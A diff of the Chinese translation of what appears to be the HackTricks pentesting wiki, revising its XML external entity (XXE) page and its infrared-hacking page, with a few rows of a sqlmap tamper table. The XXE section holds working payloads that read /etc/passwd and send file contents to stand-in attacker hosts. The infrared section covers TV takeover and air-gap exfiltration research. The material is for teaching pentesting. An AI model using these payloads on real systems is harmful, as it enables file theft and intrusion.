| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
| uppercase.py | 用大写值 'INSERT' 替换每个关键字字符 |
| varnish.py | 附加 HTTP 头 'X-originating-IP' |
| versionedkeywords.py | 用版本化的 MySQL 注释包裹每个非函数关键字 |
| versionedmorekeywords.py | 用版本化的 MySQL 注释包裹每个关键字 |

70
src/pentesting-web/xxe-xee-xml-external-entity.md
View File

@ -4,19 +4,19 @@
## XML基础
XML是一种用于数据存储和传输的标记语言，具有灵活的结构，允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义的标签。尽管XML在AJAX技术中的初始作用显著，但随着JSON的兴起，其重要性已下降。
XML是一种用于数据存储和传输的标记语言，具有灵活的结构，允许使用描述性命名的标签。它与HTML的不同之处在于不受限于一组预定义标签。尽管XML在AJAX技术中的初始作用显著，但随着JSON的兴起，其重要性已下降。
- **通过实体表示数据**：XML中的实体使得数据的表示成为可能，包括特殊字符如`&lt;`和`&gt;`，它们分别对应于`<`和`>`，以避免与XML的标签系统发生冲突。
- **定义XML元素**：XML允许定义元素类型，概述元素应如何结构化以及可以包含哪些内容，从任何类型的内容到特定的子元素。
- **文档类型定义（DTD）**：DTD在XML中对于定义文档的结构和可以包含的数据类型至关重要。它们可以是内部的、外部的或两者的组合，指导文档的格式和验证方式。
- **自定义和外部实体**：XML支持在DTD中创建自定义实体，以实现灵活的数据表示。外部实体通过URL定义，尤其在XML外部实体（XXE）攻击的背景下引发安全问题，这些攻击利用XML解析器处理外部数据源的方式：`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **自定义和外部实体**：XML支持在DTD中创建自定义实体，以实现灵活的数据表示。外部实体通过URL定义，带来了安全隐患，特别是在XML外部实体（XXE）攻击的背景下，这些攻击利用XML解析器处理外部数据源的方式：`<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **使用参数实体检测XXE**：为了检测XXE漏洞，特别是在常规方法因解析器安全措施而失败时，可以利用XML参数实体。这些实体允许使用带外检测技术，例如触发DNS查找或向受控域发出HTTP请求，以确认漏洞。
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## 主要攻击
[**这些攻击大多数是在出色的Portswiggers XEE实验室中测试的： https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
[**这些攻击大多是在出色的Portswiggers XEE实验室中测试的： https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### 新实体测试
@ -43,13 +43,13 @@ XML是一种用于数据存储和传输的标记语言，具有灵活的结构
```
![](<../images/image (86).png>)
这个第二个案例应该有助于提取文件，如果网络服务器使用的是PHP（Portswiggers实验室的情况除外）
这个第二个案例应该有助于提取文件，如果网络服务器使用 PHP（Portswiggers 实验室的情况除外）
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
```
在第三种情况下，请注意我们将 `Element stockCheck` 声明为 ANY。
在这个第三个案例中，请注意我们将 `Element stockCheck` 声明为 ANY。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
@ -83,7 +83,7 @@ XXE 可以被用来滥用云中的 SSRF
```
### Blind SSRF
使用**之前提到的技术**，您可以让服务器访问您控制的服务器以显示其脆弱性。但是，如果这不起作用，可能是因为**不允许使用 XML 实体**，在这种情况下，您可以尝试使用**XML 参数实体**：
使用**之前提到的技术**，您可以让服务器访问您控制的服务器，以显示其存在漏洞。但是，如果这不起作用，可能是因为**不允许使用 XML 实体**，在这种情况下，您可以尝试使用**XML 参数实体**：
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@ -93,7 +93,7 @@ XXE 可以被用来滥用云中的 SSRF
**在这种情况下，我们将使服务器加载一个带有恶意负载的新 DTD，该负载将通过 HTTP 请求发送文件的内容（对于多行文件，您可以尝试通过 \_ftp://**\_ 来提取，例如使用这个基本服务器 [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**）。这个解释基于** [**Portswiggers 实验室**](https://portswigger.net/web-security/xxe/blind)**。**
在给定的恶意 DTD 中，执行了一系列步骤来提取数据：
在给定的恶意 DTD 中，执行了一系列步骤以提取数据：
### 恶意 DTD 示例：
@ -110,7 +110,7 @@ XXE 可以被用来滥用云中的 SSRF
- 创建一个 XML 参数实体 `%file`，读取 `/etc/hostname` 文件的内容。
- 定义另一个 XML 参数实体 `%eval`。它动态声明一个新的 XML 参数实体 `%exfiltrate`。`%exfiltrate` 实体被设置为向攻击者的服务器发起 HTTP 请求，在 URL 的查询字符串中传递 `%file` 实体的内容。
2. **实体的执行：**
- 使用 `%eval` 实体，导致动态声明 `%exfiltrate` 实体的执行。
- 利用 `%eval` 实体，导致动态声明 `%exfiltrate` 实体的执行。
- 然后使用 `%exfiltrate` 实体，触发对指定 URL 的 HTTP 请求，包含文件的内容。
攻击者在其控制的服务器上托管此恶意 DTD，通常位于类似 `http://web-attacker.com/malicious.dtd` 的 URL。
@ -150,7 +150,7 @@ _**请注意，外部 DTD 允许我们在第二个 `eval` 中包含一个实体
那么，当 **出带交互被阻止**（外部连接不可用）时，盲 XXE 漏洞怎么办？
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据，当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体，从而促进基于错误的 XXE 攻击的执行。这种攻击利用了一个 XML 参数实体的重新定义，该实体最初在外部 DTD 中声明，从内部 DTD 中进行重新定义。当服务器阻止出带连接时，攻击者必须依赖本地 DTD 文件进行攻击，旨在诱发解析错误以揭示敏感信息。
XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据，当文档的 DTD 混合内部和外部声明时**。这个问题允许内部重新定义外部声明的实体，从而促进基于错误的 XXE 攻击的执行。这种攻击利用了在内部 DTD 中重新定义原本在外部 DTD 中声明的 XML 参数实体。当服务器阻止出带连接时，攻击者必须依赖本地 DTD 文件进行攻击，旨在诱发解析错误以揭示敏感信息。
考虑一个场景，其中服务器的文件系统包含一个位于 `/usr/local/app/schema.dtd` 的 DTD 文件，定义了一个名为 `custom_entity` 的实体。攻击者可以通过提交一个混合 DTD 来诱发 XML 解析错误，从而揭示 `/etc/passwd` 文件的内容，如下所示：
```xml
@ -171,7 +171,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
- 对 `custom_entity` XML 参数实体进行重新定义，该实体最初在外部 DTD 中定义，以封装一个 [基于错误的 XXE 漏洞](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages)。此重新定义旨在引发解析错误，从而暴露 `/etc/passwd` 文件的内容。
- 通过使用 `local_dtd` 实体，外部 DTD 被调用，包含新定义的 `custom_entity`。这一系列操作导致了漏洞所针对的错误消息的发出。
**现实世界示例：** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处具有一个 DTD，其中包含一个名为 `ISOamso` 的实体。
**现实世界示例：** 使用 GNOME 桌面环境的系统通常在 `/usr/share/yelp/dtd/docbookx.dtd` 处有一个 DTD，其中包含一个名为 `ISOamso` 的实体。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
@ -188,7 +188,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
```
![](<../images/image (625).png>)
由于此技术使用**内部 DTD，您需要先找到一个有效的 DTD**。您可以通过**安装**服务器正在使用的相同**操作系统/软件**并**搜索一些默认 DTD**，或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在：
由于此技术使用**内部 DTD，您需要先找到一个有效的 DTD**。您可以通过**安装**服务器使用的相同**操作系统/软件**并**搜索一些默认 DTD**，或者**获取系统内的默认 DTD 列表**并**检查**它们是否存在：
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
@ -205,7 +205,7 @@ XML 语言规范中的一个漏洞可以 **通过错误消息暴露敏感数据
https://github.com/GoSecure/dtd-finder/tree/master/list
{{#endref}}
此外，如果您拥有 **受害者系统的 Docker 镜像**，您可以使用同一仓库的工具来 **扫描** **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
此外，如果您拥有 **受害者系统的 Docker 镜像**，您可以使用同一仓库的工具来 **扫描** 该 **镜像** 并 **查找** 系统中存在的 **DTD** 路径。请阅读 [GitHub 的自述文件](https://github.com/GoSecure/dtd-finder) 以了解如何操作。
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -221,11 +221,11 @@ Testing 0 entities : []
对于此攻击的更深入解释，**请查看** [**这篇精彩的文章**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **来自 Detectify 的第二部分**。
许多网络应用程序提供**上传 Microsoft Office 文档的功能**，然后提取这些文档中的某些细节。例如，网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据，它不可避免地需要解析至少一个 XML 文件。
许多网络应用程序**提供上传 Microsoft Office 文档的功能**，然后提取这些文档中的某些细节。例如，网络应用程序可能允许用户通过上传 XLSX 格式的电子表格来导入数据。为了让解析器从电子表格中提取数据，它不可避免地需要解析至少一个 XML 文件。
要测试此漏洞，需要创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录，以便将文档解压缩到其中。
要测试此漏洞，必须创建一个**包含 XXE 有效负载的 Microsoft Office 文件**。第一步是创建一个空目录，以便将文档解压缩到该目录中。
一旦文档被解压缩，位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器（如 vim）中打开并编辑。XML 应修改以包含所需的 XXE 有效负载，通常以 HTTP 请求开头。
一旦文档被解压缩，位于 `./unzipped/word/document.xml` 的 XML 文件应在首选文本编辑器（如 vim）中打开并编辑。XML 应修改为包含所需的 XXE 有效负载，通常以 HTTP 请求开头。
修改后的 XML 行应插入到两个根 XML 对象之间。重要的是将 URL 替换为可监控请求的 URL。
@ -251,7 +251,7 @@ jar:https://download.host.com/myarchive.zip!/file.txt
4. 读取存档中的特定文件 `file.zip`。
5. 操作完成后，删除在此过程中创建的任何临时文件。
在第二步中中断此过程的一个有趣技术是，在提供存档文件时无限期保持服务器连接打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点，包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。
在第二步中中断此过程的一个有趣技术是保持服务器连接在提供存档文件时无限期打开。可以利用 [这个仓库](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) 中的工具来实现这一点，包括一个 Python 服务器 (`slow_http_server.py`) 和一个 Java 服务器 (`slowserver.jar`)。
```xml
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
@ -306,11 +306,11 @@ Responder.py -I eth0 -v
```
然后你可以尝试使用 hashcat 破解哈希
## 隐藏的 XXE 表面
## 隐藏的 XXE 表现
### XInclude
在将客户端数据集成到服务器端 XML 文档中时，例如后端 SOAP 请求中的文档，通常对 XML 结构的直接控制是有限的，这使得由于对 `DOCTYPE` 元素的修改限制而阻碍了传统的 XXE 攻击。然而，`XInclude` 攻击提供了解决方案，通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据，这种方法也是有效的。
在将客户端数据集成到服务器端 XML 文档中时，例如后端 SOAP 请求中的文档，通常对 XML 结构的直接控制是有限的，这使得传统的 XXE 攻击受到限制，因为无法修改 `DOCTYPE` 元素。然而，`XInclude` 攻击提供了解决方案，通过允许在 XML 文档的任何数据元素中插入外部实体。即使只能控制服务器生成的 XML 文档中的一部分数据，这种方法仍然有效。
要执行 `XInclude` 攻击，必须声明 `XInclude` 命名空间，并指定所需外部实体的文件路径。以下是如何制定此类攻击的简洁示例：
```xml
@ -320,9 +320,9 @@ productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="tex
### SVG - 文件上传
用户上传到某些应用程序的文件，随后在服务器上处理，可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
用户上传到某些应用程序的文件，然后在服务器上处理，可能会利用 XML 或包含 XML 的文件格式处理中的漏洞。常见的文件格式如办公文档 (DOCX) 和图像 (SVG) 基于 XML。
当用户 **上传图像** 时，这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序，**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式，可能被攻击者利用来提交恶意 SVG 图像，从而使服务器暴露于 XXE（XML 外部实体）漏洞。
当用户 **上传图像** 时，这些图像会在服务器端进行处理或验证。即使对于期望 PNG 或 JPEG 格式的应用程序，**服务器的图像处理库也可能支持 SVG 图像**。SVG 作为一种基于 XML 的格式，可能被攻击者利用来提交恶意 SVG 图像，从而使服务器暴露于 XXE (XML External Entity) 漏洞。
下面展示了一个此类攻击的示例，其中恶意 SVG 图像试图读取系统文件：
```xml
@ -408,7 +408,7 @@ Content-Type: application/xml;charset=UTF-8
### UTF-7
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]（\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4）将其转换为 UTF-7。
您可以在这里使用 \[**"Encode Recipe**" of cyberchef\]（\[https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)将其转换为 UTF-7。
```xml
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
@ -430,7 +430,7 @@ Content-Type: application/xml;charset=UTF-8
来自 [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
您可以创建一个 **实体内部的实体**，通过 **html 实体** 编码，然后调用它来 **加载 dtd**。\
请注意，使用的 **HTML 实体** 需要是 **数字**（如 \[在这个例子中]\([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
请注意，使用的 **HTML 实体** 需要是 **数字**（如 \[在这个例子中\]([https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](<https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,%27Numeric%20entities%27%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)%5C>)).
```xml
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<&#x21;&#x45;&#x4E;&#x54;&#x49;&#x54;&#x59;&#x25;&#x64;&#x74;&#x64;&#x53;&#x59;&#x53;&#x54;&#x45;&#x4D;&#x22;&#x68;&#x74;&#x74;&#x70;&#x3A;&#x2F;&#x2F;&#x6F;&#x75;&#x72;&#x73;&#x65;&#x72;&#x76;&#x65;&#x72;&#x2E;&#x63;&#x6F;&#x6D;&#x2F;&#x62;&#x79;&#x70;&#x61;&#x73;&#x73;&#x2E;&#x64;&#x74;&#x64;&#x22;&#x3E;" >%a;%dtd;]>
<data>
@ -480,7 +480,7 @@ XLIFF (XML 本地化交换文件格式) 用于标准化本地化过程中的数
### Blind Request Analysis
向服务器发送以下内容的请求：
向服务器发送了以下内容的请求：
```xml
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -500,9 +500,9 @@ Content-Type: application/x-xliff+xml
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
```
尽管出现了错误，但在 Burp Collaborator 上记录了一次命中，表明与外部实体有某种程度的交互。
尽管出现错误，但在 Burp Collaborator 上记录了一次命中，表明与外部实体有某种程度的交互。
Out of Band Data Exfiltration 为了提取数据，发送了一个修改过的请求：
Out of Band Data Exfiltration 要提取数据，发送了一个修改过的请求：
```
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
@ -514,7 +514,7 @@ Content-Type: application/x-xliff+xml
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
```
这种方法揭示了用户代理指示使用 Java 1.8。这个版本的 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件，例如 /etc/passwd。
这种方法揭示了用户代理表明使用的是 Java 1.8。这个版本的 Java 的一个显著限制是无法使用带外技术检索包含换行符的文件，例如 /etc/passwd。
基于错误的数据外泄 为了克服这个限制，采用了基于错误的方法。DTD 文件的结构如下，以触发包含目标文件数据的错误：
```xml
@ -523,7 +523,7 @@ Content-Type: application/x-xliff+xml
%foo;
%xxe;
```
服务器响应错误，重要的是反映了不存在的文件，表明服务器正在尝试访问指定的文件：
服务器返回一个错误，重要的是反映了不存在的文件，表明服务器正在尝试访问指定的文件：
```javascript
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
```
@ -684,7 +684,7 @@ https://github.com/luisfontes19/xxexploiter
### Python lxml 参数实体 XXE (基于错误的文件泄露)
> [!INFO]
> Python 库 **lxml** 在底层使用 **libxml2**。 版本低于 **lxml 5.4.0 / libxml2 2.13.8** 的仍然会扩展 *参数* 实体，即使 `resolve_entities=False`，当应用程序启用 `load_dtd=True` 和/或 `resolve_entities=True` 时，这些实体仍然可达。这允许基于错误的 XXE 有效载荷将本地文件的内容嵌入到解析器错误消息中。
> Python 库 **lxml** 在底层使用 **libxml2**。 在 **lxml 5.4.0 / libxml2 2.13.8** 之前的版本，即使 `resolve_entities=False`，仍然会扩展 *parameter* 实体，这使得当应用程序启用 `load_dtd=True` 和/或 `resolve_entities=True` 时，它们可被访问。 这允许基于错误的 XXE 有效载荷将本地文件的内容嵌入到解析器错误消息中。
#### 1. 利用 lxml < 5.4.0
1. 识别或创建一个在磁盘上的 *local* DTD，定义一个 **未定义** 的参数实体（例如 `%config_hex;`）。
@ -727,18 +727,18 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
<colors>&c;</colors>
```
#### 关键要点
* **参数实体** 即使在 `resolve_entities` 应该阻止 XXE 的情况下仍然会被 libxml2 扩展。
* 一个 **无效的 URI** 或 **不存在的文件** 足以将受控数据连接到抛出的异常中。
* 该技术在 **没有出站连接** 的情况下也能工作，使其非常适合严格的出站过滤环境。
* **参数实体**即使在`resolve_entities`应该阻止XXE的情况下仍然会被libxml2扩展。
* 一个**无效的URI**或**不存在的文件**足以将受控数据连接到抛出的异常中。
* 该技术在**没有出站连接**的情况下也能工作，使其非常适合严格的出站过滤环境。
#### 缓解指导
* 升级到 **lxml ≥ 5.4.0** 并确保底层的 **libxml2** 版本为 **≥ 2.13.8**。
* 除非绝对必要，否则禁用 `load_dtd` 和/或 `resolve_entities`。
* 升级到**lxml ≥ 5.4.0**并确保底层的**libxml2**是**≥ 2.13.8**。
* 除非绝对必要，否则禁用`load_dtd`和/或`resolve_entities`。
* 避免将原始解析器错误返回给客户端。
### Java DocumentBuilderFactory 加固示例
### Java DocumentBuilderFactory加固示例
Java 应用程序经常使用 `DocumentBuilderFactory` 解析 XML。默认情况下，工厂 **允许外部实体解析**，如果没有设置额外的加固标志，则使其容易受到 XXE 和 SSRF 的攻击：
Java应用程序经常使用`DocumentBuilderFactory`解析XML。默认情况下，工厂**允许外部实体解析**，如果没有设置额外的加固标志，则使其容易受到XXE和SSRF的攻击：
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone

62
src/todo/radio-hacking/infrared.md
View File

@ -1,14 +1,14 @@
# Infrared
# 红外线
{{#include ../../banners/hacktricks-training.md}}
## How the Infrared Works <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
## 红外线的工作原理 <a href="#how-the-infrared-port-works" id="how-the-infrared-port-works"></a>
**红外光对人类是不可见的**。红外波长范围为**0.7到1000微米**。家用遥控器使用红外信号进行数据传输，工作波长范围为0.75..1.4微米。遥控器中的微控制器使红外LED以特定频率闪烁，将数字信号转换为红外信号。
接收红外信号使用**光接收器**。它**将红外光转换为电压脉冲**，这些脉冲已经是**数字信号**。通常，接收器内部有一个**暗光滤波器**，只允许**所需波长通过**，并切除噪声。
### Variety of IR Protocols <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
### 红外协议的多样性 <a href="#variety-of-ir-protocols" id="variety-of-ir-protocols"></a>
红外协议在三个因素上有所不同：
@ -16,7 +16,7 @@
- 数据结构
- 载波频率——通常在36..38 kHz范围内
#### Bit encoding ways <a href="#bit-encoding-ways" id="bit-encoding-ways"></a>
#### 位编码方式 <a href="#bit-encoding-ways" id="bit-encoding-ways"></a>
**1. 脉冲间距编码**
@ -36,53 +36,53 @@
<figure><img src="../../images/image (634).png" alt=""><figcaption></figcaption></figure>
**4. 之前编码方式和其他特殊方式的组合**
**4. 之前编码方式的组合及其他特殊方式**
> [!TIP]
> 有些红外协议**试图成为多种设备的通用协议**。最著名的有RC5和NEC。不幸的是，最著名**并不意味着最常见**。在我的环境中，我只遇到过两个NEC遥控器，而没有RC5的。
> 有些红外协议**试图成为多种设备的通用协议**。最著名的有RC5和NEC。不幸的是，最著名**并不意味着最常见**。在我的环境中，我只遇到过两个NEC遥控器，而没有RC5的遥控器。
>
> 制造商喜欢使用自己独特的红外协议，即使在同一类设备（例如，电视盒）中也是如此。因此，不同公司的遥控器，有时甚至是同一公司的不同型号，无法与同类设备配合使用。
> 制造商喜欢使用自己独特的红外协议，即使在同一类设备（例如，电视盒）中。因此，不同公司的遥控器，有时同一公司的不同型号，无法与同类设备配合使用。
### Exploring an IR signal
### 探索红外信号
查看遥控器红外信号的最可靠方法是使用示波器。它不会解调或反转接收到的信号，而是“原样”显示。这对于测试和调试非常有用。我将以NEC红外协议为例展示预期信号。
<figure><img src="../../images/image (235).png" alt=""><figcaption></figcaption></figure>
通常，编码数据包的开头有一个前导码。这使接收器能够确定增益和背景水平。也有没有前导码的协议，例如Sharp。
通常，编码数据包的开头有一个前导码。这使接收器能够确定增益和背景水平。也有没有前导码的协议，例如，夏普。
然后传输数据。结构、前导码和位编码方法由特定协议确定。
然后传输数据。结构、前导码和位编码方法由特定协议决定。
**NEC红外协议**包含一个短命令和一个重复代码，在按下按钮时发送。命令和重复代码在开头都有相同的前导码。
**NEC红外协议**包含一个短命令和一个重复码，在按下按钮时发送。命令和重复码在开头都有相同的前导码。
NEC **命令**除了前导码外，还由一个地址字节和一个命令编号字节组成，设备通过这些字节理解需要执行的操作。地址和命令编号字节用反向值进行重复，以检查传输的完整性。命令末尾有一个额外的停止位。
**重复代码**在前导码后有一个“1”，这是一个停止位。
**重复码**在前导码后有一个“1”，这是一个停止位。
对于**逻辑“0”和“1”**，NEC使用脉冲间距编码：首先传输一个脉冲爆发，然后是一个暂停，其长度设置位的值。
### Air Conditioners
### 空调
与其他遥控器不同，**空调不仅仅传输按下按钮的代码**。它们还**在按下按钮时传输所有信息**，以确保**空调和遥控器同步**。\
这将避免将设置为20ºC的机器用一个遥控器增加到21ºC，然后当使用另一个仍将温度保持在20ºC的遥控器进一步增加温度时，它会“增加”到21ºC（而不是22ºC，认为它在21ºC）。
---
## Attacks & Offensive Research <a href="#attacks" id="attacks"></a>
## 攻击与攻防研究 <a href="#attacks" id="attacks"></a>
您可以使用Flipper Zero攻击红外：
您可以使用Flipper Zero攻击红外线：
{{#ref}}
flipper-zero/fz-infrared.md
{{#endref}}
### Smart-TV / Set-top Box Takeover (EvilScreen)
### 智能电视/机顶盒接管（EvilScreen）
最近的学术研究（EvilScreen，2022）表明，**结合红外与蓝牙或Wi-Fi的多通道遥控器可以被滥用以完全劫持现代智能电视**。该攻击链将高权限的红外服务代码与经过身份验证的蓝牙数据包结合在一起，绕过通道隔离，允许任意应用程序启动、麦克风激活或在没有物理访问的情况下恢复出厂设置。来自不同供应商的八款主流电视——包括声称符合ISO/IEC 27001标准的三星型号——被确认存在漏洞。缓解措施需要供应商的固件修复或完全禁用未使用的红外接收器。
最近的学术研究（EvilScreen，2022）表明，**结合红外和蓝牙或Wi-Fi的多通道遥控器可以被滥用以完全劫持现代智能电视**。该攻击链将高权限的红外服务代码与经过身份验证的蓝牙数据包结合在一起，绕过通道隔离，允许任意应用程序启动、麦克风激活或在没有物理访问的情况下恢复出厂设置。来自不同供应商的八款主流电视——包括声称符合ISO/IEC 27001标准的三星型号——被确认存在漏洞。缓解措施需要供应商的固件修复或完全禁用未使用的红外接收器。
### Air-Gapped Data Exfiltration via IR LEDs (aIR-Jumper family)
### 通过红外LED进行空气间隙数据外泄（aIR-Jumper系列）
安全摄像头、路由器甚至恶意USB闪存驱动器通常包括**夜视红外LED**。研究表明，恶意软件可以调制这些LED（<10–20 kbit/s，使用简单的OOK）以**通过墙壁和窗户泄露秘密**到放置在数十米外的外部摄像头。由于光线在可见光谱之外，操作员很少注意到。对策：
安全摄像头、路由器甚至恶意USB闪存驱动器通常包含**夜视红外LED**。研究表明，恶意软件可以调制这些LED（<10–20 kbit/s，使用简单的OOK）以**通过墙壁和窗户外泄秘密**，传输到放置在数十米外的外部摄像头。由于光线在可见光谱之外，操作员很少注意到。对策：
* 在敏感区域物理屏蔽或移除红外LED
* 监控摄像头LED的占空比和固件完整性
@ -90,22 +90,22 @@ flipper-zero/fz-infrared.md
攻击者还可以使用强大的红外投影仪通过闪烁数据向不安全的摄像头**渗透**命令。
### Long-Range Brute-Force & Extended Protocols with Flipper Zero 1.0
### 使用Flipper Zero 1.0进行远程暴力破解和扩展协议
固件1.0（2024年9月）增加了**数十种额外的红外协议和可选的外部放大模块**。结合通用遥控器的暴力破解模式，Flipper可以在高功率二极管的帮助下，从最多30米的距离禁用或重新配置大多数公共电视/空调。
---
## Tooling & Practical Examples <a href="#tooling" id="tooling"></a>
## 工具与实用示例 <a href="#tooling" id="tooling"></a>
### Hardware
### 硬件
* **Flipper Zero** – 便携式收发器，具有学习、重放和字典暴力破解模式（见上文）。
* **Arduino / ESP32** + 红外LED / TSOP38xx接收器 – 便宜的DIY分析仪/发射器。与`Arduino-IRremote`库结合使用（v4.x支持>40种协议）。
* **逻辑分析仪**（Saleae/FX2） – 在协议未知时捕获原始时序。
* **带红外发射器的智能手机**（例如，小米） – 快速现场测试，但范围有限。
### Software
### 软件
* **`Arduino-IRremote`** – 积极维护的C++库：
```cpp
@ -113,29 +113,29 @@ flipper-zero/fz-infrared.md
IRsend sender;
void setup(){ sender.begin(); }
void loop(){
sender.sendNEC(0x20DF10EF, 32); // Samsung TV Power
sender.sendNEC(0x20DF10EF, 32); // 三星电视电源
delay(5000);
}
```
* **IRscrutinizer / AnalysIR** – GUI解码器，导入原始捕获并自动识别协议 + 生成Pronto/Arduino代码。
* **LIRC / ir-keytable (Linux)** – 从命令行接收和注入红外：
* **LIRC / ir-keytable（Linux）** – 从命令行接收和注入红外：
```bash
sudo ir-keytable -p nec,rc5 -t # live-dump decoded scancodes
sudo ir-keytable -p nec,rc5 -t # 实时转储解码的扫描代码
irsend SEND_ONCE samsung KEY_POWER
```
---
## Defensive Measures <a href="#defense" id="defense"></a>
## 防御措施 <a href="#defense" id="defense"></a>
* 在不需要时禁用或覆盖公共场所部署的设备上的红外接收器。
